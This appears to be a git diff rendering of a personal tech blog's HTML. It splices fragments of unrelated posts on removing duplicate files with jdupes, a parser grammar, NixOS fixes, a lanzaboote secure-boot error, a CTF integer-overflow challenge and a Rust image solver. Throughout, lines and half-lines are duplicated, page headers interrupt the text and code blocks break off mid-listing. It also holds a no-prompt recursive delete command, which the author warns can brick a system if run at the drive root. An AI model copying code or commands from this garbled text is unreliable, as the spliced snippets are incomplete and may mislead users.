It will also consider zero length files to be duplicates.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Feb 21, 2022 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Liberating 14GiB of disk space</h1></hgroup><section class=post-content data-pagefind-body><p>The idea is simple:</p><ul><li>Remove all duplicates, including zero length files</li><li>Fine tuning: Hand-pick and remove files deemed unnecessary</li></ul><p>Since the mileage for second step might vary from person to person, I&rsquo;ll elaborate on the first step.</p><p>I chose <a href=https://codeberg.org/jbruchon/jdupes>jdupes</a> for deleting the duplicates because it&rsquo;s open-source and is cross platform.</p><p>For a given folder we would run the following to wipe the duplicates:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>jdupes --recurse --delete --no-prompt --zero<span style=color:#f92672>-match</span> .
</span></span></code></pre></div><p>This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.</p><p>The target OS is Windows, which has the glaring problem of <em>drives</em>.</p><p>There could be files unique in a given drive but are actually duplicates
in the inter-drive space. There are two ways to combat this.</p><h3 id=rinse-move-repeat>Rinse, move, repeat</h3><ul><li>Run jdupes on a drive to free some space</li><li>Move some data from other drives into the current drive to fill it up again</li><li>Repeat</li></ul><p>This, obviously, is a terrible idea beacause we have the overhead cost of moving the files after each run
as well as the fact that we have to run jdupes exhaustively for many iterations.</p><h3 id=single-pass-with-hardlinks>Single pass with hardlinks</h3><ul><li>Pick a random drive as the parent node</li><li>Hardlink all the other drives to the parent</li><li>Run jdupes</li></ul><p>Consider the following scenario</p><ul><li>Parent drive: A<ul><li>Child drive: E</li><li>Child drive: B</li><li>etc.</li></ul></li></ul><p>To create the hardlink of <code>E</code> in <code>A</code>, we would run the following in powershell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>New-Item -ItemType HardLink -Path A:\Edrive -Value E:\
</span></span></code></pre></div><p>We repeat this for the rest of the drives like drive <code>B</code> where</p><ul><li><code>Edrive</code> becomes <code>Bdrive</code></li><li><code>E:</code> becomes <code>B:</code></li></ul><p>When we run jdupes from the <code>A</code> drive with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cd A:
as well as the fact that we have to run jdupes exhaustively for many iterations.</p><h3 id=single-pass-with-hardlinks>Single pass with hardlinks</h3><ul><li>Pick a random drive as the parent node</li><li>Hardlink all the other drives to the parent</li><li>Run jdupes</li></ul><p>Consider the following scenario</p><ul><li>Parent drive: A<ul><li>Child drive: E</li><li>Child drive: B</li><li>etc.</li></ul></li></ul><p>To create the hardlink of <code>E</code> in <code>A</code>, we would run the following in powershell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>New-Item -ItemType HardLink -Path A:\Edrive -Value E:\
</span></span></code></pre></div><p>We repeat this for the rest of the drives like drive <code>B</code> where</p><ul><li><code>Edrive</code> becomes <code>Bdrive</code></li><li><code>E:</code> becomes <code>B:</code></li></ul><p>When we run jdupes from the <code>A</code> drive with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cd A:
</span></span><span style=display:flex><span>jdupes --recurse --delete --no-prompt --zero-match .
</span></span></code></pre></div><p>it traverses the hardlinks and removes duplicates in all the linked drives.</p><p>Finally we can remove the hardlinks</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>rm A:\Edrive
</span></span></code></pre></div><p>it traverses the hardlinks and removes duplicates in all the linked drives.</p><p>Finally we can remove the hardlinks</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>rm A:\Edrive
</span></span></code></pre></div><blockquote><p>Note: Do not run jdupes at <code>SYSTEMROOT</code> (the root of <code>C:</code> drive for most people)
as there are legitimate duplicates which, if deleted, can brick a system. I&rsquo;d recommend
running jdupes in individual directories like <em>Music</em>, <em>Documents</em>, etc.</p></blockquote></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>

View File

@@ -31,19 +31,19 @@ endmode
It is rather trivial to implement which is why it does not get its own section.
An unbind is a single statement that begins with ignore followed by the <code>trigger</code>
for a binding that we built in a previous article. It is modelled in the grammar
side simply as:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>unbind <span style=color:#f92672>=</span> { <span style=color:#e6db74>&#34;ignore&#34;</span> <span style=color:#f92672>~</span> trigger }
</span></span></code></pre></div><p>Coming back to modes, we define the oneoff and swallow expressions like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>oneoff <span style=color:#f92672>=</span> { <span style=color:#e6db74>&#34;oneoff&#34;</span> }
side simply as:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>unbind <span style=color:#f92672>=</span> { <span style=color:#e6db74>&#34;ignore&#34;</span> <span style=color:#f92672>~</span> trigger }
</span></span></code></pre></div><p>Coming back to modes, we define the oneoff and swallow expressions like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>oneoff <span style=color:#f92672>=</span> { <span style=color:#e6db74>&#34;oneoff&#34;</span> }
</span></span><span style=display:flex><span>swallow <span style=color:#f92672>=</span> { <span style=color:#e6db74>&#34;swallow&#34;</span> }
</span></span></code></pre></div><p>Due to the way EBNF greedily processes inputs, we need to make sure that the mode name
that comes before any of these properties do not accidentally also match them. To do this,
we have to explicitly negate the aforementioned expressions in the token (character) set for mode
names.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>modename_characters <span style=color:#f92672>=</span> _{ <span style=color:#960050;background-color:#1e0010>!</span>NEWLINE <span style=color:#f92672>~</span> <span style=color:#960050;background-color:#1e0010>!</span>(oneoff <span style=color:#f92672>|</span> swallow) <span style=color:#f92672>~</span> ANY }
</span></span></code></pre></div><p>We can now have one or more of these mode name characters build an entire mode name.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>modename <span style=color:#f92672>=</span> { modename_characters<span style=color:#f92672>+</span> }
names.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>modename_characters <span style=color:#f92672>=</span> _{ <span style=color:#960050;background-color:#1e0010>!</span>NEWLINE <span style=color:#f92672>~</span> <span style=color:#960050;background-color:#1e0010>!</span>(oneoff <span style=color:#f92672>|</span> swallow) <span style=color:#f92672>~</span> ANY }
</span></span></code></pre></div><p>We can now have one or more of these mode name characters build an entire mode name.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>modename <span style=color:#f92672>=</span> { modename_characters<span style=color:#f92672>+</span> }
</span></span></code></pre></div><p>For the contents inside a mode, we will create a union representation of comments, bindings
and unbinds as <code>primitives</code>. This facilitates easier reuse in future expressions.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>primitives <span style=color:#f92672>=</span> _{ comment <span style=color:#f92672>|</span> unbind <span style=color:#f92672>|</span> binding }
and unbinds as <code>primitives</code>. This facilitates easier reuse in future expressions.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>primitives <span style=color:#f92672>=</span> _{ comment <span style=color:#f92672>|</span> unbind <span style=color:#f92672>|</span> binding }
</span></span></code></pre></div><p>Since this is a expression catered towards convenience and we don&rsquo;t need it on
the code side, we have silenced it with a leading underscore. For the home stretch now,
let&rsquo;s put all of these smaller expressions together to build the mode expression itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>mode <span style=color:#f92672>=</span> {
let&rsquo;s put all of these smaller expressions together to build the mode expression itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>mode <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;mode&#34;</span> <span style=color:#f92672>~</span> modename <span style=color:#f92672>~</span> oneoff<span style=color:#960050;background-color:#1e0010>?</span> <span style=color:#f92672>~</span> swallow<span style=color:#960050;background-color:#1e0010>?</span> <span style=color:#f92672>~</span> comment<span style=color:#960050;background-color:#1e0010>?</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>~</span> NEWLINE <span style=color:#f92672>~</span> WHITESPACE<span style=color:#f92672>*</span>
</span></span><span style=display:flex><span> <span style=color:#f92672>~</span> (primitives <span style=color:#f92672>~</span> NEWLINE)<span style=color:#f92672>+</span>

View File

@@ -13,14 +13,14 @@ building the system configuration...
[0/9 built, 1/0/1 copied (0.0/681.0 MiB), 0.0/670.5 MiB DL] fetching linux-firmware-20250808-zstd from https://cache.nixos.org
</code></pre><p>This issue persists if the build command is simply rerun.
According to @manveru from the NixOS discourse, <code>nix-daemon</code> has a bug where it might
not close a connection to the source, with no timeout context. Force kill it with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>sudo pkill -9 nixos-daemon
not close a connection to the source, with no timeout context. Force kill it with</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>sudo pkill -9 nixos-daemon
</span></span></code></pre></div><p>Now reissue the build.</p><h2 id=command-not-found-unable-to-connect-to-database>command-not-found unable to connect to database</h2><p>The <code>programs.sqlite</code> is only generated for the <code>nixos-</code> prefixed channels.
This likely means that you are using NixOS unstable. If this is the case,
ensure you use the unstable channel using these commands as root:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nix-channel --add https://nixos.org/channels/nixos-unstable nixos
ensure you use the unstable channel using these commands as root:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nix-channel --add https://nixos.org/channels/nixos-unstable nixos
</span></span><span style=display:flex><span>nix-channel --update
</span></span></code></pre></div><p>Further reading: <a href=https://discourse.nixos.org/t/command-not-found-unable-to-open-database/3807>NixOS discourse</a>.</p><h2 id=check-if-a-package-builds-flakes-enabled>Check if a package builds (flakes enabled)</h2><ul><li>Ensure flakes are enabled</li><li>Create the package derviation file in <code>./package.nix</code></li><li>Add the following to <code>builder.nix</code></li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>(<span style=color:#f92672>import</span> <span style=color:#e6db74>&lt;nixpkgs&gt;</span> {})<span style=color:#f92672>.</span>callPackage <span style=color:#e6db74>./package.nix</span> { }
</span></span></code></pre></div><ul><li>Run <code>nix build</code> on it</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>nix build -f ./builder.nix
</span></span></code></pre></div><h2 id=get-current-nixos-generation-number>Get current NixOS generation number</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>readlink /nix/var/nix/profiles/system | cut -d- -f2
</span></span></code></pre></div><p>Further reading: <a href=https://discourse.nixos.org/t/command-not-found-unable-to-open-database/3807>NixOS discourse</a>.</p><h2 id=check-if-a-package-builds-flakes-enabled>Check if a package builds (flakes enabled)</h2><ul><li>Ensure flakes are enabled</li><li>Create the package derviation file in <code>./package.nix</code></li><li>Add the following to <code>builder.nix</code></li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>(<span style=color:#f92672>import</span> <span style=color:#e6db74>&lt;nixpkgs&gt;</span> {})<span style=color:#f92672>.</span>callPackage <span style=color:#e6db74>./package.nix</span> { }
</span></span></code></pre></div><ul><li>Run <code>nix build</code> on it</li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>nix build -f ./builder.nix
</span></span></code></pre></div><h2 id=get-current-nixos-generation-number>Get current NixOS generation number</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>readlink /nix/var/nix/profiles/system | cut -d- -f2
</span></span></code></pre></div><h2 id=crtio-not-found>crti.o not found</h2><p>If you are compiling a program with C FFI bindings, you might encounter the following error:</p><pre tabindex=0><code>/nix/store/dc9vaz50jg7mibk9xvqw5dqv89cxzla3-binutils-2.44/bin/ld: cannot find crti.o: No such file or directory
collect2: error: ld returned 1 exit status
</code></pre><p>You need to add <code>stdenv.cc.cc.lib</code> to your flake&rsquo;s <code>buildInputs</code>.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>

View File

@@ -10,7 +10,7 @@ For the past few months, I started noticing this new warning when rebuilding my
and error.</p><pre tabindex=0><code>error: attribute &#39;overrideScope&#39;&#39; missing
</code></pre><p>After a bit of digging around I discovered that the problem was caused due the out-of-date <code>crane</code> dependency
required for <a href=https://github.com/nix-community/lanzaboote/><code>lanzaboote</code></a>, the Rust utility for the secure boot shim<sup id=fnref:1><a href=#fn:1 class=footnote-ref role=doc-noteref>1</a></sup>. After looking through <a href=https://github.com/nix-community/lanzaboote/issues/411>this issue on github</a>
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.</p><p>This meant I had to update the version in my <code>flake.nix</code> inputs like so</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-diff data-lang=diff><span style=display:flex><span> lanzaboote = {
as well as the lanzaboote repository, it dawned on me that I had been using a version of lanzaboote released even before July this year.</p><p>This meant I had to update the version in my <code>flake.nix</code> inputs like so</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-diff data-lang=diff><span style=display:flex><span> lanzaboote = {
</span></span><span style=display:flex><span><span style=color:#f92672>- url = &#34;github:nix-community/lanzaboote/v0.3.0&#34;;
</span></span></span><span style=display:flex><span><span style=color:#a6e22e>+ url = &#34;github:nix-community/lanzaboote/v0.4.1&#34;;
</span></span></span><span style=display:flex><span> inputs.nixpkgs.follows = &#34;nixpkgs&#34;;
@@ -22,10 +22,10 @@ Failed to install bootloader
warning: error(s) occurred while switching to the new configuration
</code></pre><p>The hardest part of debugging this was to know what program was causing this issue and what path it was looking for.
Fortunately, we can use <code>strace</code> to see what system calls are being made by <code>nixos-rebuild</code>. We also add the <code>-f</code> flag to follow the system
calls of child processes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>sudo strace -f nixos-rebuild boot --flake /home/h/Public/dotfiles#cafe
calls of child processes.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>sudo strace -f nixos-rebuild boot --flake /home/h/Public/dotfiles#cafe
</span></span></code></pre></div><p>From the obscenely long logs which I will spare you from reading, one could observe that the secureboot key management tool <code>sbctl</code>
looks for the path <code>/var/lib/sbctl</code>. This correlates with <a href=https://github.com/nix-community/lanzaboote/issues/413>this issue</a> and <a href=https://github.com/Foxboron/sbctl/blob/cd6dd1c6a02f5b4b3b93669e78671b656ddcfe67/config/config.go#L107C19-L107C34>this commit</a> confirming that <code>sbctl</code> has switched the default
public key infrastructure bundle (<code>pkiBundle</code>) location to <code>/var/lib/sbctl</code>.</p><p>I finally solved the issue by setting the respective parameter in my config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>boot<span style=color:#f92672>.</span>lanzaboote <span style=color:#f92672>=</span> {
public key infrastructure bundle (<code>pkiBundle</code>) location to <code>/var/lib/sbctl</code>.</p><p>I finally solved the issue by setting the respective parameter in my config.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>boot<span style=color:#f92672>.</span>lanzaboote <span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> enable <span style=color:#f92672>=</span> <span style=color:#66d9ef>true</span>;
</span></span><span style=display:flex><span> pkiBundle <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;/var/lib/sbctl&#34;</span>;
</span></span><span style=display:flex><span>};

File diff suppressed because one or more lines are too long

View File

@@ -54,7 +54,7 @@ int main() {
In order to trigger the program to disclose the flag, we need to supply two numbers that are greater that 0 and result in an integer overflow.
Since this is C and there is no integer overflow check, we can simply supply the maximum interger value for the first number and the value 1 for
the second. Adding them would cause the result to wrap around and become negative.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Apr 10, 2023 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Twosum</h1></hgroup><section class=post-content data-pagefind-body><p>This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-c data-lang=c><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e>&lt;stdio.h&gt;</span><span style=color:#75715e>
code for the program running on the remote server:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-c data-lang=c><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e>&lt;stdio.h&gt;</span><span style=color:#75715e>
</span></span></span><span style=display:flex><span><span style=color:#75715e>#include</span> <span style=color:#75715e>&lt;stdlib.h&gt;</span><span style=color:#75715e>
</span></span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>static</span> <span style=color:#66d9ef>int</span> <span style=color:#a6e22e>addIntOvf</span>(<span style=color:#66d9ef>int</span> result, <span style=color:#66d9ef>int</span> a, <span style=color:#66d9ef>int</span> b) {

View File

@@ -12,30 +12,30 @@ At first glance, both the images look like noise. Upon a quick web lookup of
that these separate images, known as shares of the original image, can be overlayed
on each other to reconstruct the original image.</p><h2 id=exploration>Exploration</h2><p>Now, I&rsquo;m pretty sure that there are online services that will automatically solve these
but I decided to write some code to solve this locally. For the past week, I&rsquo;ve been
learning the Rust programming language and this was the perfect excuse to test my knowledge.</p><p>First, we will create a cargo project. Let&rsquo;s call it &ldquo;solve&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new solve
</span></span></code></pre></div><p>We&rsquo;ll then add the image library (crate) using cargo.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cargo add image
learning the Rust programming language and this was the perfect excuse to test my knowledge.</p><p>First, we will create a cargo project. Let&rsquo;s call it &ldquo;solve&rdquo;.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo new solve
</span></span></code></pre></div><p>We&rsquo;ll then add the image library (crate) using cargo.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cargo add image
</span></span></code></pre></div><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><p>Now let&rsquo;s get some Rust in action. We&rsquo;ll start by editing the <code>src/main.rs</code> file.
First, we import the required types with the use statement.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> image::{GenericImageView, ImageBuffer, Pixel, RgbaImage};
First, we import the required types with the use statement.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>use</span> image::{GenericImageView, ImageBuffer, Pixel, RgbaImage};
</span></span></code></pre></div><p>We&rsquo;ll now write the main function. Let&rsquo;s open the images and store handles to them
in variables <code>a</code> and <code>b</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() {
in variables <code>a</code> and <code>b</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>main</span>() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> a <span style=color:#f92672>=</span> image::open(<span style=color:#e6db74>&#34;scrambled1.png&#34;</span>).unwrap();
</span></span><span style=display:flex><span> <span style=color:#66d9ef>let</span> b <span style=color:#f92672>=</span> image::open(<span style=color:#e6db74>&#34;scrambled2.png&#34;</span>).unwrap();
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>For sanity check, let&rsquo;s make sure that the dimensions are the same for both the images.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>if</span> a.dimensions() <span style=color:#f92672>!=</span> b.dimensions() {
</span></span></code></pre></div><p>For sanity check, let&rsquo;s make sure that the dimensions are the same for both the images.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>if</span> a.dimensions() <span style=color:#f92672>!=</span> b.dimensions() {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>panic!</span>(<span style=color:#e6db74>&#34;Image dimensions don&#39;t match.&#34;</span>);
</span></span><span style=display:flex><span>}
